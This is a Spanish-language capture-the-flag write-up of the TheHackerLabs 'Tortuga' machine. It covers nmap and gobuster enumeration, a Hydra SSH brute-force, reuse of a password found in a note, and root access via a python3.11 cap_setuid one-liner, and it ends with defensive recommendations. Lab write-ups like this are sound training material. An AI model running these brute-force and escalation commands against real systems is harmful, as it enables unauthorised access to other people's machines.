> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/thehackerlabs/facil/tortuga.md).

# Tortuga

## Introduccion

En este laboratorio de TheHackerLabs se compromete una maquina Linux que expone SSH y HTTP.

La cadena de explotacion es directa pero muy util para practicar metodologia: primero se enumera la web, despues se identifica un nombre de usuario en la aplicacion y se obtiene acceso por SSH mediante fuerza bruta. Dentro del sistema, una nota revela la password de otro usuario y la escalada final se consigue abusando de una capability peligrosa asignada a `python3.11`.

***

## Reconocimiento

La maquina indica su direccion IP al arrancar:

![IP de la maquina](/files/o5gGHm8iAzPik7Q77mSl)

Objetivo:

```
192.168.1.110
```

Se realiza un escaneo con Nmap:

```bash
nmap -sVCS -Pn -n -T4 --min-rate 5000 192.168.1.110
```

![Nmap](/files/iV1lCglSz6n4Y0nsvtyM)

El escaneo muestra dos servicios abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 9.2p1 Debian |
| 80/tcp | HTTP     | Apache httpd 2.4.62  |

El puerto 80 muestra una pagina llamada **Isla Tortuga**:

![Web Isla Tortuga](/files/9VotcI0WY6mxLKwUyfOm)

***

## Enumeracion web

Se lanza Gobuster contra el servicio HTTP para descubrir rutas y archivos:

```bash
gobuster dir -u http://192.168.1.110:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](/files/lJ6oNt8CEob7mABezb3r)

Se encuentran varios recursos:

| Ruta             | Estado | Comentario          |
| ---------------- | ------ | ------------------- |
| `/index.html`    | 200    | Pagina principal    |
| `/mapa.php`      | 200    | Recurso descubierto |
| `/server-status` | 403    | Acceso denegado     |

La tematica de la web y la informacion visible apuntan al usuario `grumete`, asi que se prueba fuerza bruta controlada contra SSH.

***

## Fuerza bruta SSH

Se utiliza Hydra con `rockyou.txt` contra el usuario `grumete`:

```bash
hydra -l grumete -P /usr/share/wordlists/rockyou.txt 192.168.1.110 ssh -I -t 64
```

![Hydra SSH](/files/2eiLpYzaqVjUYZSUuhAd)

Hydra encuentra una credencial valida:

| Usuario   | Password |
| --------- | -------- |
| `grumete` | `1234`   |

Con esa password se accede por SSH:

```bash
ssh grumete@192.168.1.110
```

![SSH grumete](/files/GluJZCYz0vOmLKZW5WM0)

***

## Movimiento lateral

En el home de `grumete` aparece un archivo interesante:

```bash
cat .nota.txt
```

![Nota de capitan](/files/tc7sPylkc1YRzbwUnYOZ)

La nota contiene una password para la camara del timon:

```
mar_de_fuego123
```

Al revisar `/etc/passwd` se observan usuarios locales, incluyendo `capitan`:

![Cambio a capitan](/files/4XducJcJHcQlmQLGi61D)

Se prueba la password encontrada contra ese usuario:

```bash
su capitan
```

La autenticacion es correcta y se obtiene una shell como `capitan`.

***

## Enumeracion local

Primero se revisa `sudo`, pero el usuario no tiene permisos interesantes:

```bash
sudo -l
```

Despues se buscan binarios SUID:

```bash
find / -perm -4000 2>/dev/null
```

![SUID](/files/1BzfKssMU2manPACKuTu)

No aparece un binario SUID claramente explotable, asi que se revisan otros permisos especiales.

En el directorio del usuario se observa un historial de Python:

![python history](/files/RWY69LCFnahL2pGgafoD)

Esto da una pista para revisar capabilities:

```bash
getcap -r / 2>/dev/null
```

![getcap](/files/QhRiOK1eQqByCqX9Bnff)

El resultado importante es:

```
/usr/bin/python3.11 cap_setuid=ep
```

La capability `cap_setuid` permite a Python cambiar el UID efectivo del proceso. Si se puede ejecutar como un usuario normal, se puede llamar a `setuid(0)` y lanzar una shell como `root`.

***

## Escalada de privilegios

Se consulta la tecnica en GTFOBins para Python con capabilities:

![GTFOBins Python capabilities](/files/AKNW65WY2SYsTxrN5YNV)

Se ejecuta el payload:

```bash
/usr/bin/python3.11 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'
```

![Root](/files/rLdsiFEimnBV1O8sIBRm)

El comando `whoami` confirma el compromiso:

```
root
```

La maquina queda comprometida como `root`.

***

## Conclusion

La cadena completa fue:

```
Enumeracion web
    -> Usuario grumete
        -> Hydra SSH con password debil
            -> Nota con password de capitan
                -> su capitan
                    -> python3.11 con cap_setuid
                        -> root
```

Tortuga es una maquina sencilla, pero deja dos lecciones claras: las passwords debiles siguen siendo un vector real de acceso inicial, y las Linux capabilities mal asignadas pueden ser tan peligrosas como un SUID clasico.

### Puntos clave

* Nmap detecto SSH y Apache.
* Gobuster encontro `mapa.php`.
* Se obtuvo acceso SSH como `grumete` mediante Hydra.
* Una nota en el home revelo la password de `capitan`.
* `python3.11` tenia la capability `cap_setuid=ep`.
* Se abuso de Python para ejecutar `setuid(0)` y obtener shell como `root`.

### Recomendaciones

* Evitar passwords debiles o predecibles.
* Bloquear o limitar intentos de autenticacion SSH.
* No almacenar credenciales en notas dentro de directorios de usuario.
* Auditar capabilities con `getcap -r / 2>/dev/null`.
* Eliminar capabilities peligrosas de interpretes como Python, Perl o Ruby.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/thehackerlabs/facil/tortuga.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
